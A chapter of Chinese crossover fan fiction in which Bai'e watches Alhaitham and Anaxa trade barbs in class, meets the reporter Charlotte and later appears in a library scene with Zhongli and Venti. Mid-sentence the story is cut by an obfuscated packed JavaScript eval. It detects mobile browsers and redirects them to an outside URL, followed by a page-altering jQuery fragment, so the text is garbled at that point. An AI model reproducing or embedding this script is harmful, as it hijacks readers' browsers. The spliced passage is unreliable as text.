听到艾尔海森说起这些的时候,白厄挠了挠额角。 一个拿自己本人血液做实验,甚至宁愿牺牲一只眼球也要再见姐姐一面的人,自然执着。 如果说艾尔海森是个冷静的疯子,那么那刻夏老师就是极致的疯子。 他不在乎自己的名声,只在乎实验和研究。 “所以你当时在沙漠里真的被那刻夏老师怼到无话可说吗?” 作为当事人,又作为这件事情的转述者,甚至在无第三人在场的情况下,艾尔海森完全可以不用提这件事情。只要他不提,教令院不会掀起对那刻夏老师的追捧。 艾尔海森正捧着书翘着二郎腿坐在椅子上,很平静地抬头看了白厄一眼:“这是事实。” “所以你真的在沙漠里倒立行走了,只为了鞋里不进沙子?” “……” 讲台上那刻夏老师还在板书,艾尔海森啪地一声合上书本,翘着的二郎腿也放了下来,神情似乎有些郑重。 “当时那刻夏是怎么让你毕业的?” “……” 艾尔海森没问白厄是怎么在那刻夏手底下毕业的,而是问那刻夏是怎么让白厄毕业的。 虽然都是一个意思,但是侧重点不同。鉴于他们昨晚针锋相对的样子,白厄猜想下课后艾尔海森一定会拿自己去怼那刻夏老师。 有句话怎么说来着,教不严,师之惰。 白厄选择识趣地闭上了嘴巴。 艾尔海森继续看书。 白厄看着他云淡风轻的样子,合理怀疑他就是被那刻夏老师怼到山穷水尽的地步了,所以刻意接近自己,好找一点儿话头。 连那刻夏老师的鞋底是红色的这件事他都能留意到,艾尔海森对于那刻夏老师的观察已经到了细致入微的地步了。 白厄不说话了,专心听那刻夏老师讲课。但是那刻夏早就注意到了某个从教室后门偷偷溜进来的人,他随手翻了几页书,语气很轻: “看来我的课在教令院很受欢迎,连大名鼎鼎眼高于顶的大书记官都来旁听了。看来大书记官对我很有信心,连招呼都不打一声。” 这两句不咸不淡的话像是打开了让学生自动扭头的机关似的,一排排脑袋像是击鼓传花似的转过来。 白厄捂脸。 他从来没有因为体型这么尴尬过,想瞬间缩小点儿。 艾尔海森镇定极了,他轻轻合上书册:“那刻夏老师最近在教令院大出风头,一堂课更是重金难求。” 那刻夏老师说自己受欢迎是在自嘲,可是艾尔海森竟然也这么说,暗讽意味十足了。 “不敢当,一切都是仰赖大书记官。”那刻夏双手环胸:“如果没有什么大书记官在沙漠气得又哭又闹的传闻,我这个名头也是起不来的。” 什么? 又哭又闹? 白厄惊讶地看着艾尔海森,难以想象这个总是绷着脸的大书记官又哭又闹是个怎么样惊骇世俗的名场面。 如果搭档在这里,一定会用相机记录下这精彩的一刻。 视线无意识飘过前排的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403872|200051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学生,却发现其中一个已经举起了相机拍摄了,甚至为了不引人注意,还关了闪光灯和声音。 好勇! 察觉到白厄发现了自己,夏洛蒂压低了声音:“蒸汽鸟报记者夏洛蒂,向你报道!” 自从变成萨摩耶后,白厄的耳力好了不少。 蒸汽鸟报? 这不就是温迪口中风靡提瓦特的报纸吗?什么都敢报道,甚至连枫丹的大审判官的花色新闻也敢偷偷搞。 趁着学生们的注意力都在那刻夏和艾尔海森的争吵上,白厄偷偷来到了夏洛蒂的身边。 “要看看我拍的照片吗?”夏洛蒂为人热情,立即就从怀里掏出另一个相机。 “两个相机?”白厄看着自己手里的惊讶不已。 其实他靠近夏洛蒂不是来看照片的,而是怀疑夏洛蒂可能和长夜月或者说是三月七有什么联系。再加上她的头发是粉色,更让白厄对这一点儿深信不疑。但是翻着照片,却让白厄发现了另外一件事情。 枫丹的千织屋里,一只金色的蝴蝶对着一块精致的布料裁剪着,而照片拍下的就是布料裁剪到一半的时候。 照片定格在这一瞬。但在白厄的眼里,那只金色的蝴蝶好像活了起来,扑闪着翅膀落在白厄的鼻尖。 他想要伸手抓住,但是金色蝴蝶却很快飞走了。白厄抓不住她,就像是没来得及见到她的最后一面,也没能护住她留在世上的手串。 两次。 她两次沐浴在温热耀眼的黄金中,却也因此羽化成蝶。 “若虫……” 白厄想起来了,搭档在翁法罗斯走街串巷,忙不停蹄地寻找这种虫子。再后来,她不找了,改找蝴蝶。 原来搭档那个时候就知道了吗? 白厄的鼻子有些发酸,漆黑的瞳仁深不见底,有一滴泪珠从眼眶里溢出,眼睛旁边的白色绒毛润湿了一片。 图书馆。 温迪对着桌子上的如我所书飞来飞去,“所以这就是第二本如我所书?” 景元在桌子上弹了一下:“没错。” 修长的手指翻着书页,钟离仔细将十二位黄金裔的资料看清楚。 这一本不知道是第几世的,但话说回来,追究第几世也没有什么意义。无论哪一世,他们都是一样的人。只要将他们的性格了解透彻,在什么环境下会做出什么样的选择就能推演得七七八八了。 就像是两军对阵,与其去钻研对方将领的用兵特点,不如去了解下幼时趣事。一个人的性格特征和用兵特点,往往与小时候发生的事情密切相关。 一世的事情不足以了解完全,还需要更多,这样才能推演得更准确。 与此同时,钟离又想起来了另外一件事。 这一世的如我所书是被自己捡到的,那么其余的呢?这个捡到如我所书的人是特定的还是随机的,如果是随机的,他们又在里面扮演着什么角色。 “看起来,你们对这一本书很感兴趣。” 一个火红色长发的女子走过来,头发微卷,面庞温柔。白色的裙子圣洁又高雅,尖尖的精灵耳朵在火红色的发丝里微微抖动着。